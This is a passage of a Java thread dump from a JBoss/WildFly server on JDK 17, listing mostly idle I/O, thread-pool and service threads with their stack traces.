java.base@17.0.9/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:118) + at java.base@17.0.9/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:129) + at java.base@17.0.9/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:146) + at org.jboss.xnio.nio@3.8.11.Final//org.xnio.nio.WorkerThread.run(WorkerThread.java:544) + +"management I/O-2" #73 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@17.0.9/sun.nio.ch.EPoll.wait(Native Method) + at java.base@17.0.9/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:118) + at java.base@17.0.9/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:129) + at java.base@17.0.9/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:146) + at org.jboss.xnio.nio@3.8.11.Final//org.xnio.nio.WorkerThread.run(WorkerThread.java:544) + +"Reference Reaper" #14 daemon [WAITING] on java.lang.ref.ReferenceQueue$Lock@52d249cc + java.lang.Thread.State: WAITING + at java.base@17.0.9/java.lang.Object.wait(Native Method) + at java.base@17.0.9/java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:155) + at java.base@17.0.9/java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:176) + at app//org.jboss.modules.ref.References$ReaperThread.run(References.java:64) + +"ServerService Thread Pool -- 49" #80 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@2ea4b4bd + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.9/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.9/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@17.0.9/java.lang.Thread.run(Thread.java:840) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"default I/O-16" #125 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@17.0.9/sun.nio.ch.EPoll.wait(Native Method) + at java.base@17.0.9/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:118) + at java.base@17.0.9/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:129) + at java.base@17.0.9/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:146) + at org.jboss.xnio.nio@3.8.11.Final//org.xnio.nio.WorkerThread.run(WorkerThread.java:544) + +"ServerService Thread Pool -- 31" #57 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@2ea4b4bd + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.9/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.9/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@17.0.9/java.lang.Thread.run(Thread.java:840) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"ServerService Thread Pool -- 41" #69 [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@33dfa91d + java.lang.Thread.State: WAITING + at java.base@17.0.9/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.9/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341) + at java.base@17.0.9/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506) + at java.base@17.0.9/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465) + at java.base@17.0.9/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436) + at java.base@17.0.9/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1623) + at java.base@17.0.9/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1177) + at java.base@17.0.9/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:899) + at java.base@17.0.9/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1062) + at java.base@17.0.9/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1122) + at java.base@17.0.9/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635) + at java.base@17.0.9/java.lang.Thread.run(Thread.java:840) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"ServerService Thread Pool -- 60" #91 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@2ea4b4bd + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.9/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.9/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@17.0.9/java.lang.Thread.run(Thread.java:840) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"MSC service thread 1-4" #20 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@4669a150 + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.9/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.9/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@17.0.9/java.lang.Thread.run(Thread.java:840) + +"ServerService Thread Pool -- 56" #87 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@2ea4b4bd + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.9/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.9/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@17.0.9/java.lang.Thread.run(Thread.java:840) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"default I/O-18" #127 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@17.0.9/sun.nio.ch.EPoll.wait(Native Method) + at java.base@17.0.9/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:118) + at java.base@17.0.9/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:129) + at java.base@17.0.9/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:141) + at org.jboss.xnio.nio@3.8.11.Final//org.xnio.nio.WorkerThread.run(WorkerThread.java:563) + +"ServerService Thread Pool -- 18" #44 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@2ea4b4bd + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.9/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.9/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@17.0.9/java.lang.Thread.run(Thread.java:840) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"ServerService Thread Pool -- 68" #99 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@2ea4b4bd + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.9/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.9/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@17.0.9/java.lang.Thread.run(Thread.java:840) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"default I/O-7" #116 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@17.0.9/sun.nio.ch.EPoll.wait(Native Method) + at java.base@17.0.9/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:118) + at java.base@17.0.9/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:129) + at java.base@17.0.9/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:141) + at org.jboss.xnio.nio@3.8.11.Final//org.xnio.nio.WorkerThread.run(WorkerThread.java:563) + +"ServerService Thread Pool -- 11" #37 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@2ea4b4bd + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.9/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.9/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@17.0.9/java.lang.Thread.run(Thread.java:840) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"DeploymentScanner-threads - 1" #66 [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@dd33f9e + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.9/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.9/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at java.base@17.0.9/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:1672) + at java.base@17.0.9/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1182) + at java.base@17.0.9/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:899) + at java.base@17.0.9/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1062) + at java.base@17.0.9/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1122) + at java.base@17.0.9/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635) + at java.base@17.0.9/java.lang.Thread.run(Thread.java:840) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"XNIO-1 I/O-1" #136 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@17.0.9/sun.nio.ch.EPoll.wait(Native Method) + at java.base@17.0.9/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:118) + at java.base@17.0.9/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:129) + at java.base@17.0.9/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:146) + at org.jboss.xnio.nio@3.8.11.Final//org.xnio.nio.WorkerThread.run(WorkerThread.java:544) + +"ServerService Thread Pool -- 53" #84 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@2ea4b4bd + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.9/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.9/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@17.0.9/java.lang.Thread.run(Thread.java:840) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"ServerService Thread Pool -- 61" #92 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@2ea4b4bd + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.9/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.9/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@17.0.9/java.lang.Thread.run(Thread.java:840) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"ServerService Thread Pool -- 77" #108 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@2ea4b4bd + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.9/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.9/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@17.0.9/java.lang.Thread.run(Thread.java:840) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"ServerService Thread Pool -- 85" #152 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@2ea4b4bd + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.9/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.9/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@17.0.9/java.lang.Thread.run(Thread.java:840) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"ServerService Thread Pool -- 82" #149 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@2ea4b4bd + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.9/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.9/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@17.0.9/java.lang.Thread.run(Thread.java:840) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"default I/O-2" #111 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@17.0.9/sun.nio.ch.EPoll.wait(Native Method) + at java.base@17.0.9/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:118) + at java.base@17.0.9/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:129) + at java.base@17.0.9/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:146) + at org.jboss.xnio.nio@3.8.11.Final//org.xnio.nio.WorkerThread.run(WorkerThread.java:544) + +"ServerService Thread Pool -- 13" #39 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@2ea4b4bd + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.9/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.9/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@17.0.9/java.lang.Thread.run(Thread.java:840) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"ServerService Thread Pool -- 62" #93 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@2ea4b4bd + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.9/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.9/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@17.0.9/java.lang.Thread.run(Thread.java:840) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"Timer-1" #135 [WAITING] on java.util.TaskQueue@61c6f9e6 + java.lang.Thread.State: WAITING + at java.base@17.0.9/java.lang.Object.wait(Native Method) + at java.base@17.0.9/java.lang.Object.wait(Object.java:338) + at java.base@17.0.9/java.util.TimerThread.mainLoop(Timer.java:537) + at java.base@17.0.9/java.util.TimerThread.run(Timer.java:516) + +"ServerService Thread Pool -- 32" #58 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@2ea4b4bd + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.9/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.9/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@17.0.9/java.lang.Thread.run(Thread.java:840) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"ServerService Thread Pool -- 57" #88 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@2ea4b4bd + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.9/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.9/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@17.0.9/java.lang.Thread.run(Thread.java:840) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"ServerService Thread Pool -- 47" #78 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@2ea4b4bd + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.9/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.9/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@17.0.9/java.lang.Thread.run(Thread.java:840) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"ServerService Thread Pool -- 33" #59 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@2ea4b4bd + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.9/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.9/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@17.0.9/java.lang.Thread.run(Thread.java:840) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"default I/O-8" #117 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@17.0.9/sun.nio.ch.EPoll.wait(Native Method) + at java.base@17.0.9/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:118) + at java.base@17.0.9/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:129) + at java.base@17.0.9/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:141) + at org.jboss.xnio.nio@3.8.11.Final//org.xnio.nio.WorkerThread.run(WorkerThread.java:563) + +"default I/O-22" #131 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@17.0.9/sun.nio.ch.EPoll.wait(Native Method) + at java.base@17.0.9/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:118) + at java.base@17.0.9/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:129) + at java.base@17.0.9/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:146) + at org.jboss.xnio.nio@3.8.11.Final//org.xnio.nio.WorkerThread.run(WorkerThread.java:544) + +"ServerService Thread Pool -- 76" #107 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@2ea4b4bd + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.9/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.9/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@17.0.9/java.lang.Thread.run(Thread.java:840) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"Transaction Reaper Worker 0" #141 daemon [WAITING] on java.util.LinkedList@6aaeb7af + java.lang.Thread.State: WAITING + at java.base@17.0.9/java.lang.Object.wait(Native Method) + at java.base@17.0.9/java.lang.Object.wait(Object.java:338) + at org.jboss.jts//com.arjuna.ats.arjuna.coordinator.TransactionReaper.waitForWork(TransactionReaper.java:336) + at org.jboss.jts//com.arjuna.ats.internal.arjuna.coordinator.ReaperWorkerThread.run(ReaperWorkerThread.java:50) + +"default I/O-20" #129 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@17.0.9/sun.nio.ch.EPoll.wait(Native Method) + at java.base@17.0.9/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:118) + at java.base@17.0.9/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:129) + at java.base@17.0.9/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:146) + at org.jboss.xnio.nio@3.8.11.Final//org.xnio.nio.WorkerThread.run(WorkerThread.java:544) + +"MSC service thread 1-5" #21 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@4669a150 + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.9/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.9/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@17.0.9/java.lang.Thread.run(Thread.java:840) + +"ServerService Thread Pool -- 45" #76 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@2ea4b4bd + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.9/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.9/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@17.0.9/java.lang.Thread.run(Thread.java:840) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"MSC service thread 1-6" #22 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@4669a150 + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.9/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.9/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@17.0.9/java.lang.Thread.run(Thread.java:840) + +"Reference Handler" #2 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@17.0.9/java.lang.ref.Reference.waitForReferencePendingList(Native Method) + at java.base@17.0.9/java.lang.ref.Reference.processPendingReferences(Reference.java:253) + at java.base@17.0.9/java.lang.ref.Reference$ReferenceHandler.run(Reference.java:215) + +"MSC service thread 1-1" #17 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@4669a150 + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.9/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.9/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@17.0.9/java.lang.Thread.run(Thread.java:840) + +"default I/O-4" #113 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@17.0.9/sun.nio.ch.EPoll.wait(Native Method) + at java.base@17.0.9/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:118) + at java.base@17.0.9/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:129) + at java.base@17.0.9/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:141) + at org.jboss.xnio.nio@3.8.11.Final//org.xnio.nio.WorkerThread.run(WorkerThread.java:563) + +"default I/O-12" #121 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@17.0.9/sun.nio.ch.EPoll.wait(Native Method) + at java.base@17.0.9/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:118) + at java.base@17.0.9/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:129) + at java.base@17.0.9/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:146) + at org.jboss.xnio.nio@3.8.11.Final//org.xnio.nio.WorkerThread.run(WorkerThread.java:544) + +"ServerService Thread Pool -- 63" #94 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@2ea4b4bd + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.9/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.9/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@17.0.9/java.lang.Thread.run(Thread.java:840) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"default I/O-17" #126 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@17.0.9/sun.nio.ch.EPoll.wait(Native Method) + at java.base@17.0.9/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:118) + at java.base@17.0.9/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:129) + at java.base@17.0.9/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:146) + at org.jboss.xnio.nio@3.8.11.Final//org.xnio.nio.WorkerThread.run(WorkerThread.java:544) + +"ServerService Thread Pool -- 84" #151 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@2ea4b4bd + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.9/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.9/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@17.0.9/java.lang.Thread.run(Thread.java:840) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"ServerService Thread Pool -- 16" #42 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@2ea4b4bd + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.9/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.9/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@17.0.9/java.lang.Thread.run(Thread.java:840) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"ServerService Thread Pool -- 74" #105 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@2ea4b4bd + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.9/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.9/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@17.0.9/java.lang.Thread.run(Thread.java:840) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"ServerService Thread Pool -- 30" #56 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@2ea4b4bd + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.9/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.9/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@17.0.9/java.lang.Thread.run(Thread.java:840) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"ServerService Thread Pool -- 7" #33 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@2ea4b4bd + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.9/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.9/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@17.0.9/java.lang.Thread.run(Thread.java:840) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"MSC service thread 1-8" #24 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@4669a150 + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.9/jdk.internal.misc.Unsafe.park(Native Method) + at 